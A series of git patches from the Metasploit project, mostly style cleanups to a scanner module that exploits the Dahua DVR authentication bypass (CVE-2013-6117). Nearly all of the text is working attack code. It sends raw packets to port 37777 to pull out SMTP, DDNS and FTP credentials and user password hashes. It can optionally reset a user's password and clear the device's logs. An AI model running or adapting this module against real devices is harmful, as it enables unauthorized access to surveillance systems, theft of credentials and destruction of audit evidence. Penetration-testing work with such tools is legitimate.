myworkspace_id - } + } - credential_data = { - module_fullname: self.fullname, + credential_data = { + module_fullname: :fullname, origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, jtr_format: 'dahua_hash', - username: user, - }.merge(service_data) + username: user + }.merge(service_data) - login_data = { + login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) + }.merge(service_data) create_credential_login(login_data) end def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) - service_data = { + service_data = { address: ddns_server, port: ddns_port, service_name: 'ddns settings', protocol: 'tcp', workspace_id: myworkspace_id - } + } - credential_data = { - module_fullname: self.fullname, + credential_data = { + module_fullname: :fullname, origin_type: :service, private_data: ddns_pass, private_type: :password, - username: ddn_user, - }.merge(service_data) + username: ddns_user + }.merge(service_data) - login_data = { + login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) + }.merge(service_data) create_credential_login(login_data) end def report_email_cred(mailserver, rport, muser, mpass) - service_data = { + service_data = { address: mailserver, port: rport, service_name: 'email settings', protocol: 'tcp', workspace_id: myworkspace_id - } + } - credential_data = { - module_fullname: self.fullname, + credential_data = { + module_fullname: :fullname, origin_type: :service, private_data: mpass, private_type: :password, - username: muser, - }.merge(service_data) + username: muser + }.merge(service_data) - login_data = { + login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_data) + }.merge(service_data) create_credential_login(login_data) - end - + end end From f499b822cdfd645d2cd067d29f4e3281d766a2b1 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 17 Nov 2015 10:30:50 -0500 Subject: [PATCH 1233/2172] added more rubocop fixes, still testing issue with RHOSTS --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 297 +++++++++--------- 1 file changed, 144 insertions(+), 153 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 522e00cab0..14bc93f41c 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -32,198 +32,189 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) usercount = 0 - u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00" - version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + + version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + + email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + + ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" + + nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" + + channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" + + groups = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" + + users = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" + + sn = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" + + clear_logs = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" + + clear_logs2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" user = "root" pass = " w" - user8pwhash = "4WzwxXxM" #888888 - user6pwhash = "sh15yfFM" #666666 - useradminpwhash = "6QNMIQGe" #admin + # user8pwhash = "4WzwxXxM" #888888 + # user6pwhash = "sh15yfFM" #666666 + # useradminpwhash = "6QNMIQGe" #admin connect sock.put(u1) data = sock.recv(8) disconnect if data == dvr_resp - print_good("DVR FOUND: @ #{rhost}:#{rport}!") - report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "Dahua-based DVR") - connect - sock.put(version) - data = sock.get(1024) - if data =~ /[\x00]{8,}([[:print:]]+)/ - ver = $1 - print_status("Version: #{ver} @ #{rhost}:#{rport}!") - end + print_good("DVR FOUND: @ #{rhost}:#{rport}!") + report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") + connect + sock.put(version) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + ver = $1 + print_status("Version: #{ver} @ #{rhost}:#{rport}!") + end - sock.put(sn) - data = sock.get(1024) - if data =~ /[\x00]{8,}([[:print:]]+)/ - serial = $1 - print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") - end + sock.put(sn) + data = sock.get(1024) + if data =~ /[\x00]{8,}([[:print:]]+)/ + serial = $1 + print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") + end - sock.put(email) - if data == sock.get(1024).split('&&') - print_status("Email Settings: @ #{rhost}:#{rport}!") - if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ - if mailhost == $1.split(':') - print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? - print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? - end - if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? - muser = "#{data[5]}" - mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - print_good("MailServer: #{mailserver}") - #destemail = "#{data[1]}" if !mailhost[1].nil? - if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? - end - end - end - end + sock.put(email) + if data == sock.get(1024).split('&&') + print_status("Email Settings: @ #{rhost}:#{rport}!") + if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ + if mailhost == $1.split(':') + print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? + end + if !data[5].nil? && !data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + print_good("MailServer: #{mailserver}") + # destemail = "#{data[1]}" if !mailhost[1].nil? + if !mailserver.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, rport, muser, mpass) if !mailserver.nil? && !muser.nil? && !mpass.nil? + end + end + end + end sock.put(ddns) - if data = sock.get(1024) - data = data.split(/&&[0-1]&&/) - data.each_with_index { - |val, index| - if index > 0 - val = val.split("&&") - ddns_service = "#{val[0]}" - ddns_server = "#{val[1]}" - ddns_port = "#{val[2]}" - ddns_domain = "#{val[3]}" - ddns_user = "#{val[4]}" - ddns_pass = "#{val[5]}" - print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") unless val.nil? - print_status(" DDNS Server: #{ddns_server}") unless val.nil? - print_status(" DDNS Port: #{ddns_port}") unless val.nil? - print_status(" Domain: #{ddns_domain}") unless val.nil? - print_good(" Username: #{ddns_user}") unless val.nil? - print_good(" Password: #{ddns_pass}") unless val.nil? - if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 + if data == sock.get(1024) + data = data.split(/&&[0-1]&&/) + data.each_with_index { |val, index| + if index > 0 + val = val.split("&&") + ddns_service = "#{val[0]}" + ddns_server = "#{val[1]}" + ddns_port = "#{val[2]}" + ddns_domain = "#{val[3]}" + ddns_user = "#{val[4]}" + ddns_pass = "#{val[5]}" + print_status("DDNS Settings @ #{rhost}:#{rport}!:") + print_status(" DDNS Service: #{ddns_service}") unless val.nil? + print_status(" DDNS Server: #{ddns_server}") unless val.nil? + print_status(" DDNS Port: #{ddns_port}") unless val.nil? + print_status(" Domain: #{ddns_domain}") unless val.nil? + print_good(" Username: #{ddns_user}") unless val.nil? + print_good(" Password: #{ddns_pass}") unless val.nil? + if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 - report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) - end - end - } + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) + end + end + } end sock.put(nas) if data == sock.get(1024) - print_status("Nas Settings @ #{rhost}:#{rport}!:") - server = '' - port = '' - if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ - server = $1.unpack('C*').join('.') - port = $2.unpack('S') - print_status(" Nas Server #{server}") - print_status(" Nas Port: #{port}") - end - if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ - ftpuser = $1 - ftppass = $2 - print_good(" FTP User: #{ftpuser}") - print_good(" FTP Password: #{ftppass}") - if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 - report_creds(host: server, port: port, user: ftpuser, pass: ftppass, type: "FTP", - active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? - end - end + print_status("Nas Settings @ #{rhost}:#{rport}!:") + server = '' + port = '' + if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ + server = $1.unpack('C*').join('.') + port = $2.unpack('S') + print_status(" Nas Server #{server}") + print_status(" Nas Port: #{port}") + end + if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/ + ftpuser = $1 + ftppass = $2 + print_good(" FTP User: #{ftpuser}") + print_good(" FTP Password: #{ftppass}") + if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 + report_creds(host: server, port: port, user: ftpuser, pass: ftppass, type: "FTP", + active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? + end + end end sock.put(channels) data = sock.get(1024).split('&&') disconnect if data.length > 1 - print_status("Camera Channels @ #{rhost}:#{rport}!:") - data.each_with_index { - |val, index| - print_status(" #{index+1}:#{val[/([[:print:]]+)/]}") - } + print_status("Camera Channels @ #{rhost}:#{rport}!:") + data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } end connect sock.put(users) if data == sock.get(1024).split('&&') - print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") - data.each { - |val| - usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" - value = pass.split(":") - username = "#{value[1]}" - md5hash = "#{value[2]}" - print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") - # Write the dahua hash to the database - hash = "#{rhost} #{username}:$dahua$#{md5hash}" - report_hash(ip, rport, user, hash) - # Write the vulnerability to the database - #unless reported_vuln - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - sname: 'dvr', - name: 'Dahua Authentication Password Hash Exposure', - info: "Obtained password hash for user #{username}: #{md5hash}", - refs: :references - ) - } + print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") + data.each { |val| + usercount += 1 + pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" + value = pass.split(":") + username = "#{value[1]}" + md5hash = "#{value[2]}" + print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + # Write the dahua hash to the database + hash = "#{rhost} #{username}:$dahua$#{md5hash}" + report_hash(ip, rport, user, hash) + # Write the vulnerability to the database + # unless reported_vuln + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + sname: 'dvr', + name: 'Dahua Authentication Password Hash Exposure', + info: "Obtained password hash for user #{username}: #{md5hash}", + refs: :references + ) + } end sock.put(groups) if data == sock.get(1024).split('&&') - print_status("User Groups: @ #{rhost}:#{rport}!") - data.each { - |val| - print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") - } + print_status("User Groups: @ #{rhost}:#{rport}!") + data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end - if datastore['RESET'] - userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + ":" + datastore['PASSWORD'] - u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - userstring - sock.put(u1) - data = sock.get(1024) - sock.put(u2) - data = sock.get(1024) - sock.put(u3) - data = sock.get(1024) - sock.put(u1) - if data == sock.get(1024) - print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") - end + if datastore['RESET'] + userstring = datastore['USERNAME'] + ":Intel:" + datastore['PASSWORD'] + ":" + datastore['PASSWORD'] + u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring + sock.put(u1) + # data = sock.get(1024) + sock.put(u2) + # data = sock.get(1024) + sock.put(u3) + data = sock.get(1024) + sock.put(u1) + if data == sock.get(1024) + print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") + end # elsif (datastore['ACTION'] == "DELETE") # u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" + # "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" @@ -297,12 +288,12 @@ class Metasploit3 < Msf::Auxiliary end if datastore['CLEAR_LOGS'] - sock.put(clear_logs) - sock.put(clear_logs2) - print_good("LOGS CLEARED! @ #{rhost}:#{rport}") + sock.put(clear_logs) + sock.put(clear_logs2) + print_good("LOGS CLEARED! @ #{rhost}:#{rport}") end disconnect - end + end end def report_hash(ip, rport, user, hash) From 38c4e4ee6c4936923843b45ac51fc0ae1c884e46 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 17 Nov 2015 10:48:57 -0500 Subject: [PATCH 1234/2172] added a few more rubocop fixes --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 40 +++++++++---------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 14bc93f41c..c028f81bd6 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -1,26 +1,26 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report def initialize - super( - 'Name' => 'Dahua DVR Auth Bypas Scanner', - 'Version' => '$Revision: 1 $', - 'Description' => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs', - 'Author' => [ - 'Jake Reynolds - Depth Security', #Vulnerability Discoverer - 'Tyler Bennett - Talos Infosec' # Metasploit Module - ], - 'References' => - [ - [ 'CVE', '2013-6117' ], - [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] - ], - 'License' => MSF_LICENSE - ) - deregister_options('RHOST') - register_options( + super( + 'Name' => 'Dahua DVR Auth Bypas Scanner', + 'Version' => '$Revision: 1 $', + 'Description' => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs', + 'Author' => [ + 'Jake Reynolds - Depth Security', # Vulnerability Discoverer + 'Tyler Bennett - Talos Infosec' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2013-6117' ], + [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] + ], + 'License' => MSF_LICENSE + ) + deregister_options('RHOST') + register_options( [ OptString.new('USERNAME', [true, 'A username to reset', '888888']), OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), From 6e4ccb46e547029b2cedb538b8f33c62901e803a Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 17 Nov 2015 11:44:11 -0500 Subject: [PATCH 1235/2172] knocked out a few more rubocop errors --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 104 +++++++++--------- 1 file changed, 51 insertions(+), 53 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index c028f81bd6..13b58189a6 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -12,22 +12,20 @@ class Metasploit3 < Msf::Auxiliary 'Jake Reynolds - Depth Security', # Vulnerability Discoverer 'Tyler Bennett - Talos Infosec' # Metasploit Module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-6117' ], [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] ], 'License' => MSF_LICENSE ) - deregister_options('RHOST') - register_options( - [ - OptString.new('USERNAME', [true, 'A username to reset', '888888']), - OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), - OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), - OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), - Opt::RPORT(37777) - ], self.class) + # deregister_options('RHOST') + register_options([ + OptString.new('USERNAME', [true, 'A username to reset', '888888']), + OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), + OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), + OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), + Opt::RPORT(37777) + ], self.class) end def run_host(ip) @@ -90,8 +88,8 @@ class Metasploit3 < Msf::Auxiliary print_status("Email Settings: @ #{rhost}:#{rport}!") if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ if mailhost == $1.split(':') - print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? - print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? + print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end if !data[5].nil? && !data[6].nil? print_good(" SMTP User: #{data[5]}") unless data[5].nil? @@ -298,25 +296,25 @@ class Metasploit3 < Msf::Auxiliary def report_hash(ip, rport, user, hash) service_data = { - address: ip, - port: rport, - service_name: 'dahua_dvr', - protocol: 'tcp', - workspace_id: myworkspace_id + address: ip, + port: rport, + service_name: 'dahua_dvr', + protocol: 'tcp', + workspace_id: myworkspace_id } credential_data = { - module_fullname: :fullname, - origin_type: :service, - private_data: hash, - private_type: :nonreplayable_hash, - jtr_format: 'dahua_hash', - username: user + module_fullname: :fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: 'dahua_hash', + username: user }.merge(service_data) login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) create_credential_login(login_data) @@ -324,51 +322,51 @@ class Metasploit3 < Msf::Auxiliary def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) service_data = { - address: ddns_server, - port: ddns_port, - service_name: 'ddns settings', - protocol: 'tcp', - workspace_id: myworkspace_id + address: ddns_server, + port: ddns_port, + service_name: 'ddns settings', + protocol: 'tcp', + workspace_id: myworkspace_id } credential_data = { - module_fullname: :fullname, - origin_type: :service, - private_data: ddns_pass, - private_type: :password, - username: ddns_user + module_fullname: :fullname, + origin_type: :service, + private_data: ddns_pass, + private_type: :password, + username: ddns_user }.merge(service_data) login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) - create_credential_login(login_data) - end + create_credential_login(login_data) + end def report_email_cred(mailserver, rport, muser, mpass) service_data = { - address: mailserver, - port: rport, - service_name: 'email settings', - protocol: 'tcp', - workspace_id: myworkspace_id + address: mailserver, + port: rport, + service_name: 'email settings', + protocol: 'tcp', + workspace_id: myworkspace_id } credential_data = { - module_fullname: :fullname, - origin_type: :service, - private_data: mpass, - private_type: :password, - username: muser + module_fullname: :fullname, + origin_type: :service, + private_data: mpass, + private_type: :password, + username: muser }.merge(service_data) login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED }.merge(service_data) - create_credential_login(login_data) + create_credential_login(login_data) end end From 74f6ff7752581b3ecaf420b3eb0136b3c3d265d4 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Tue, 17 Nov 2015 12:59:37 -0600 Subject: [PATCH 1236/2172] Rename to atg_client to match conventions --- modules/auxiliary/admin/atg/{client.rb => atg_client.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/admin/atg/{client.rb => atg_client.rb} (100%) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/atg_client.rb similarity index 100% rename from modules/auxiliary/admin/atg/client.rb rename to modules/auxiliary/admin/atg/atg_client.rb From e55ac99c12d69bb3efd3ef12843e4a08bc0794dd Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Tue, 17 Nov 2015 14:30:33 -0500 Subject: [PATCH 1237/2172] fixed a bunch more rubocop errors --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 558 +++++++++--------- 1 file changed, 279 insertions(+), 279 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 13b58189a6..57a8fc9f0a 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -3,216 +3,216 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report - def initialize - super( - 'Name' => 'Dahua DVR Auth Bypas Scanner', - 'Version' => '$Revision: 1 $', - 'Description' => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs', - 'Author' => [ - 'Jake Reynolds - Depth Security', # Vulnerability Discoverer - 'Tyler Bennett - Talos Infosec' # Metasploit Module - ], - 'References' => [ - [ 'CVE', '2013-6117' ], - [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] - ], - 'License' => MSF_LICENSE - ) - # deregister_options('RHOST') - register_options([ - OptString.new('USERNAME', [true, 'A username to reset', '888888']), - OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), - OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), - OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), - Opt::RPORT(37777) - ], self.class) + def initialize + super( + 'Name' => 'Dahua DVR Auth Bypas Scanner', + 'Version' => '$Revision: 1 $', + 'Description' => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs', + 'Author' => [ + 'Jake Reynolds - Depth Security', # Vulnerability Discoverer + 'Tyler Bennett - Talos Infosec' # Metasploit Module + ], + 'References' => [ + [ 'CVE', '2013-6117' ], + [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] + ], + 'License' => MSF_LICENSE + ) + deregister_options('RHOST') + register_options([ + OptString.new('USERNAME', [true, 'A username to reset', '888888']), + OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']), + OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']), + OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']), + Opt::RPORT(37777) + ], self.class) + end + + def run_host(ip) + usercount = 0 + u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00" + version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ + 